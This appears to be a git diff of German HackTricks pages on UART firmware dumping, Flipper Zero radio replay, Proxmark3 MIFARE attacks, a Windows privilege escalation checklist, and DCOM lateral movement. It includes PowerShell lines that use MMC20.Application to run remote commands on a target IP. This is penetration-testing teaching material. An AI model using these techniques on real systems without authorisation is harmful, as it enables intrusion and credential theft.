```
|
||||
## Dumping Firmware with UART Console
|
||||
|
||||
UART Console bietet eine großartige Möglichkeit, mit der zugrunde liegenden Firmware in einer Laufzeitumgebung zu arbeiten. Aber wenn der Zugriff auf die UART-Konsole schreibgeschützt ist, kann dies viele Einschränkungen mit sich bringen. In vielen eingebetteten Geräten wird die Firmware in EEPROMs gespeichert und in Prozessoren mit flüchtigem Speicher ausgeführt. Daher bleibt die Firmware schreibgeschützt, da die ursprüngliche Firmware während der Herstellung im EEPROM selbst gespeichert ist und alle neuen Dateien aufgrund des flüchtigen Speichers verloren gehen würden. Daher ist das Dumpen von Firmware eine wertvolle Anstrengung, wenn man mit eingebetteten Firmwares arbeitet.
|
||||
UART Console bietet eine großartige Möglichkeit, mit der zugrunde liegenden Firmware in einer Laufzeitumgebung zu arbeiten. Aber wenn der Zugriff auf die UART-Konsole schreibgeschützt ist, kann dies viele Einschränkungen mit sich bringen. In vielen eingebetteten Geräten wird die Firmware in EEPROMs gespeichert und auf Prozessoren mit flüchtigem Speicher ausgeführt. Daher bleibt die Firmware schreibgeschützt, da die ursprüngliche Firmware während der Herstellung im EEPROM selbst gespeichert ist und alle neuen Dateien aufgrund des flüchtigen Speichers verloren gehen würden. Daher ist das Dumpen von Firmware eine wertvolle Anstrengung, wenn man mit eingebetteten Firmwares arbeitet.
|
||||
|
||||
Es gibt viele Möglichkeiten, dies zu tun, und der SPI-Abschnitt behandelt Methoden, um Firmware direkt aus dem EEPROM mit verschiedenen Geräten zu extrahieren. Es wird jedoch empfohlen, zuerst zu versuchen, die Firmware mit UART zu dumpen, da das Dumpen von Firmware mit physischen Geräten und externen Interaktionen riskant sein kann.
|
||||
|
||||
|
@ -190,25 +177,13 @@ md
|
|||
```
|
||||
welches für "Speicherabbild" steht. Dies wird den Speicher (EEPROM-Inhalt) auf dem Bildschirm ausgeben. Es wird empfohlen, die Ausgabe der seriellen Konsole zu protokollieren, bevor Sie das Verfahren starten, um das Speicherabbild zu erfassen.
|
||||
|
||||
Schließlich entfernen Sie einfach alle unnötigen Daten aus der Protokolldatei und speichern Sie die Datei als `filename.rom` und verwenden Sie binwalk, um die Inhalte zu extrahieren:
|
||||
Schließlich entfernen Sie einfach alle unnötigen Daten aus der Protokolldatei und speichern Sie die Datei als `filename.rom` und verwenden Sie binwalk, um den Inhalt zu extrahieren:
|
||||
```
|
||||
binwalk -e <filename.rom>
|
||||
```
|
||||
Dies wird die möglichen Inhalte des EEPROMs gemäß den in der Hex-Datei gefundenen Signaturen auflisten.
|
||||
|
||||
Es ist jedoch wichtig zu beachten, dass der uboot nicht immer entsperrt ist, selbst wenn er verwendet wird. Wenn die Eingabetaste nichts bewirkt, überprüfen Sie andere Tasten wie die Leertaste usw. Wenn der Bootloader gesperrt ist und nicht unterbrochen wird, funktioniert diese Methode nicht. Um zu überprüfen, ob uboot der Bootloader für das Gerät ist, überprüfen Sie die Ausgabe auf der UART-Konsole während des Bootvorgangs des Geräts. Es könnte während des Bootens uboot erwähnen.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Es ist jedoch zu beachten, dass der U-Boot nicht immer entsperrt ist, selbst wenn er verwendet wird. Wenn die Eingabetaste nichts bewirkt, überprüfen Sie andere Tasten wie die Leertaste usw. Wenn der Bootloader gesperrt ist und nicht unterbrochen wird, funktioniert diese Methode nicht. Um zu überprüfen, ob U-Boot der Bootloader für das Gerät ist, überprüfen Sie die Ausgabe auf der UART-Konsole während des Bootvorgangs des Geräts. Es könnte U-Boot während des Bootens erwähnen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -216,7 +191,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,14 +15,6 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Mit [**Flipper Zero**](https://flipperzero.one/) kannst du:
|
||||
|
||||
* **Radiofrequenzen hören/fangen/wiedergeben:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
|
@ -36,12 +28,6 @@ Mit [**Flipper Zero**](https://flipperzero.one/) kannst du:
|
|||
|
||||
**Weitere Flipper Zero-Ressourcen unter** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,23 +15,16 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Intro <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero kann **Funkfrequenzen im Bereich von 300-928 MHz empfangen und übertragen** mit seinem eingebauten Modul, das Fernbedienungen lesen, speichern und emulieren kann. Diese Steuerungen werden zur Interaktion mit Toren, Barrieren, Funk-Schlössern, Fernbedienungsschaltern, kabellosen Türklingeln, smarten Lichtern und mehr verwendet. Flipper Zero kann dir helfen zu lernen, ob deine Sicherheit kompromittiert ist.
|
||||
Flipper Zero kann **Funkfrequenzen im Bereich von 300-928 MHz empfangen und übertragen** mit seinem eingebauten Modul, das Fernbedienungen lesen, speichern und emulieren kann. Diese Steuerungen werden zur Interaktion mit Toren, Barrieren, Funk-Schlössern, Fernbedienungsschaltern, kabellosen Türklingeln, smarten Lichtern und mehr verwendet. Flipper Zero kann dir helfen zu lernen, ob deine Sicherheit gefährdet ist.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Sub-GHz Hardware <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero hat ein eingebautes Sub-1 GHz Modul, das auf einem [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101-Chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) basiert und eine Funkantenne hat (die maximale Reichweite beträgt 50 Meter). Sowohl der CC1101-Chip als auch die Antenne sind dafür ausgelegt, bei Frequenzen in den Bändern 300-348 MHz, 387-464 MHz und 779-928 MHz zu arbeiten.
|
||||
Flipper Zero hat ein eingebautes Sub-1 GHz Modul, das auf einem [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 Chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) basiert und eine Funkantenne hat (die maximale Reichweite beträgt 50 Meter). Sowohl der CC1101 Chip als auch die Antenne sind dafür ausgelegt, bei Frequenzen in den Bändern 300-348 MHz, 387-464 MHz und 779-928 MHz zu arbeiten.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (923).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -110,7 +103,7 @@ Füge Signale aus einer konfigurierten Liste von Protokollen hinzu
|
|||
| Security+2.0\_315 | 315.00 | Dynamisch |
|
||||
| Security+2.0\_390 | 390.00 | Dynamisch |
|
||||
|
||||
### Unterstützte Sub-GHz-Anbieter
|
||||
### Unterstützte Sub-GHz Anbieter
|
||||
|
||||
Überprüfe die Liste unter [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
|
||||
|
||||
|
@ -128,12 +121,6 @@ Erhalte dBms der gespeicherten Frequenzen
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,37 +1,29 @@
|
|||
# Proxmark 3
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Angreifen von RFID-Systemen mit Proxmark3
|
||||
|
||||
Das erste, was du tun musst, ist, einen [**Proxmark3**](https://proxmark.com) zu haben und [**die Software und ihre Abhängigkeiten zu installieren**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
Das erste, was Sie tun müssen, ist, einen [**Proxmark3**](https://proxmark.com) zu haben und [**die Software und ihre Abhängigkeiten zu installieren**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### Angreifen von MIFARE Classic 1KB
|
||||
|
||||
Es hat **16 Sektoren**, jeder von ihnen hat **4 Blöcke** und jeder Block enthält **16B**. Die UID befindet sich im Sektor 0 Block 0 (und kann nicht geändert werden).\
|
||||
Um auf jeden Sektor zuzugreifen, benötigst du **2 Schlüssel** (**A** und **B**), die in **Block 3 jedes Sektors** (Sektor-Trailer) gespeichert sind. Der Sektor-Trailer speichert auch die **Zugriffsbits**, die die **Lese- und Schreib**berechtigungen für **jeden Block** mit den 2 Schlüsseln geben.\
|
||||
2 Schlüssel sind nützlich, um Berechtigungen zum Lesen zu geben, wenn du den ersten kennst, und zum Schreiben, wenn du den zweiten kennst (zum Beispiel).
|
||||
Um auf jeden Sektor zuzugreifen, benötigen Sie **2 Schlüssel** (**A** und **B**), die in **Block 3 jedes Sektors** (Sektor-Trailer) gespeichert sind. Der Sektor-Trailer speichert auch die **Zugriffsbits**, die die **Lese- und Schreib**berechtigungen für **jeden Block** mit den 2 Schlüsseln geben.\
|
||||
2 Schlüssel sind nützlich, um Berechtigungen zum Lesen zu geben, wenn Sie den ersten kennen, und zum Schreiben, wenn Sie den zweiten kennen (zum Beispiel).
|
||||
|
||||
Es können mehrere Angriffe durchgeführt werden.
|
||||
```bash
|
||||
|
@ -74,14 +66,7 @@ Die Proxmark3-Software wird mit einer vorinstallierten Liste von **Automatisieru
|
|||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
Sie können ein Skript erstellen, um **Tag-Reader** zu **fuzzern**, indem Sie die Daten einer **gültigen Karte** kopieren. Schreiben Sie einfach ein **Lua-Skript**, das ein oder mehrere zufällige **Bytes** **randomisiert** und überprüft, ob der **Reader abstürzt** bei einer beliebigen Iteration.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
Sie können ein Skript erstellen, um **Tag-Reader** zu **fuzzern**, indem Sie die Daten einer **gültigen Karte** kopieren. Schreiben Sie einfach ein **Lua-Skript**, das ein oder mehrere zufällige **Bytes** **randomisiert** und überprüfen Sie, ob der **Reader abstürzt** bei einer beliebigen Iteration.
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -89,7 +74,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,7 +6,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,15 +15,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Beste Tool zur Suche nach Windows lokalen Privilegieneskalationsvektoren:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Das beste Tool, um nach Windows lokalen Privilegieneskalationsvektoren zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Systeminfo](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
|
@ -75,7 +67,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
* [ ] [Kannst du **irgendeinen Dienst** **modifizieren**?](windows-local-privilege-escalation/#permissions)
|
||||
* [ ] [Kannst du **die Binärdatei** modifizieren, die von einem **Dienst** **ausgeführt** wird?](windows-local-privilege-escalation/#modify-service-binary-path)
|
||||
* [ ] [Kannst du **die Registrierung** eines **Dienstes** **modifizieren**?](windows-local-privilege-escalation/#services-registry-modify-permissions)
|
||||
* [ ] [Kannst du von einem **nicht zitierten Dienst** Binärdateipfad profitieren?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
* [ ] [Kannst du von einem **nicht zitierten Dienst** Binärdateipfad **profitieren**?](windows-local-privilege-escalation/#unquoted-service-paths)
|
||||
|
||||
### [**Anwendungen**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
|
@ -87,7 +79,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* [ ] Kannst du **in einen beliebigen Ordner im PATH schreiben**?
|
||||
* [ ] Gibt es eine bekannte Dienst-Binärdatei, die **versucht, eine nicht existierende DLL zu laden**?
|
||||
* [ ] Kannst du **in einen beliebigen** **Binärordner** **schreiben**?
|
||||
* [ ] Kannst du **in einen beliebigen** **Binärdateiordner** **schreiben**?
|
||||
|
||||
### [Netzwerk](windows-local-privilege-escalation/#network)
|
||||
|
||||
|
@ -99,10 +91,10 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
* [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) Anmeldeinformationen
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) Anmeldeinformationen, die du verwenden könntest?
|
||||
* [ ] Interessante [**DPAPI-Anmeldeinformationen**](windows-local-privilege-escalation/#dpapi)?
|
||||
* [ ] Passwörter von gespeicherten [**Wifi-Netzwerken**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Passwörter von gespeicherten [**WLAN-Netzwerken**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Interessante Informationen in [**gespeicherten RDP-Verbindungen**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] Passwörter in [**kürzlich ausgeführten Befehlen**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/#remote-desktop-credential-manager) Passwörter?
|
||||
* [ ] [**Remote Desktop Credential Manager**](windows-local-privilege-escalation/#remote-desktop-credential-manager) Passwörter?
|
||||
* [ ] [**AppCmd.exe** existiert](windows-local-privilege-escalation/#appcmd-exe)? Anmeldeinformationen?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? DLL-Seitenladung?
|
||||
|
||||
|
@ -117,12 +109,12 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
* [ ] [**Zwischengespeichertes GPP-Passwort**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||
* [ ] Passwort in [**IIS-Webkonfigurationsdatei**](windows-local-privilege-escalation/#iis-web-config)?
|
||||
* [ ] Interessante Informationen in [**Webprotokollen**](windows-local-privilege-escalation/#logs)?
|
||||
* [ ] Möchtest du [**nach Anmeldeinformationen**](windows-local-privilege-escalation/#ask-for-credentials) beim Benutzer fragen?
|
||||
* [ ] Möchtest du [**den Benutzer nach Anmeldeinformationen fragen**](windows-local-privilege-escalation/#ask-for-credentials)?
|
||||
* [ ] Interessante [**Dateien im Papierkorb**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] Andere [**Registrierungen mit Anmeldeinformationen**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Innerhalb [**von Browserdaten**](windows-local-privilege-escalation/#browsers-history) (Datenbanken, Verlauf, Lesezeichen, ...)?
|
||||
* [ ] [**Allgemeine Passwortsuche**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) in Dateien und Registrierung
|
||||
* [ ] [**Tools**](windows-local-privilege-escalation/#tools-that-search-for-passwords), um automatisch nach Passwörtern zu suchen
|
||||
* [ ] [**Tools**](windows-local-privilege-escalation/#tools-that-search-for-passwords) zur automatischen Suche nach Passwörtern
|
||||
|
||||
### [Leckende Handler](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
|
@ -132,19 +124,13 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* [ ] Überprüfe, ob du es ausnutzen kannst
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,25 +15,17 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Für weitere Informationen zu dieser Technik überprüfen Sie den Originalbeitrag von [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Das Distributed Component Object Model (DCOM) bietet eine interessante Möglichkeit für netzwerkbasierte Interaktionen mit Objekten. Microsoft bietet umfassende Dokumentation sowohl für DCOM als auch für das Component Object Model (COM), die [hier für DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) und [hier für COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) zugänglich ist. Eine Liste von DCOM-Anwendungen kann mit dem PowerShell-Befehl abgerufen werden:
|
||||
Das Distributed Component Object Model (DCOM) bietet eine interessante Möglichkeit für netzwerkbasierte Interaktionen mit Objekten. Microsoft stellt umfassende Dokumentationen sowohl für DCOM als auch für das Component Object Model (COM) zur Verfügung, die [hier für DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) und [hier für COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) zugänglich sind. Eine Liste von DCOM-Anwendungen kann mit dem PowerShell-Befehl abgerufen werden:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
Das COM-Objekt, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), ermöglicht das Scripting von MMC-Snap-In-Operationen. Bemerkenswerterweise enthält dieses Objekt eine `ExecuteShellCommand`-Methode unter `Document.ActiveView`. Weitere Informationen zu dieser Methode finden Sie [hier](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Überprüfen Sie es in Aktion:
|
||||
Das COM-Objekt, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), ermöglicht das Scripting von MMC-Snap-In-Operationen. Bemerkenswerterweise enthält dieses Objekt eine `ExecuteShellCommand`-Methode unter `Document.ActiveView`. Weitere Informationen zu dieser Methode finden Sie [hier](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Überprüfen Sie es in der Ausführung:
|
||||
|
||||
Diese Funktion erleichtert die Ausführung von Befehlen über ein Netzwerk durch eine DCOM-Anwendung. Um remote als Admin mit DCOM zu interagieren, kann PowerShell wie folgt verwendet werden:
|
||||
Diese Funktion erleichtert die Ausführung von Befehlen über ein Netzwerk durch eine DCOM-Anwendung. Um remote mit DCOM als Administrator zu interagieren, kann PowerShell wie folgt verwendet werden:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
|
@ -44,7 +36,7 @@ Check methods:
|
|||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
```
|
||||
RCE erhalten:
|
||||
Erhalte RCE:
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com | Get-Member
|
||||
|
@ -59,10 +51,10 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
Das **MMC20.Application**-Objekt wurde als mangelhaft in Bezug auf explizite "LaunchPermissions" identifiziert, was zu Berechtigungen führt, die Administratoren den Zugriff erlauben. Für weitere Details kann ein Thread [hier](https://twitter.com/tiraniddo/status/817532039771525120) erkundet werden, und die Verwendung von [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET zum Filtern von Objekten ohne explizite Launch Permission wird empfohlen.
|
||||
|
||||
Zwei spezifische Objekte, `ShellBrowserWindow` und `ShellWindows`, wurden aufgrund ihres Fehlens an expliziten Launch Permissions hervorgehoben. Das Fehlen eines `LaunchPermission`-Registry-Eintrags unter `HKCR:\AppID\{guid}` bedeutet, dass keine expliziten Berechtigungen vorhanden sind.
|
||||
